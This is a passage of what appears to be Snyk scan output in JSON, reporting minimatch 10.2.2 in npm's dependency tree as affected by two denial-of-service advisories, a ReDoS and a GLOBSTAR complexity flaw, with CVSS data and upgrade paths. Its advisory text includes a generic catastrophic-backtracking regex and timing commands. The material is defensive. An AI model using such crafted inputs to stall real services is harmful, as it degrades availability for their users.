Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ 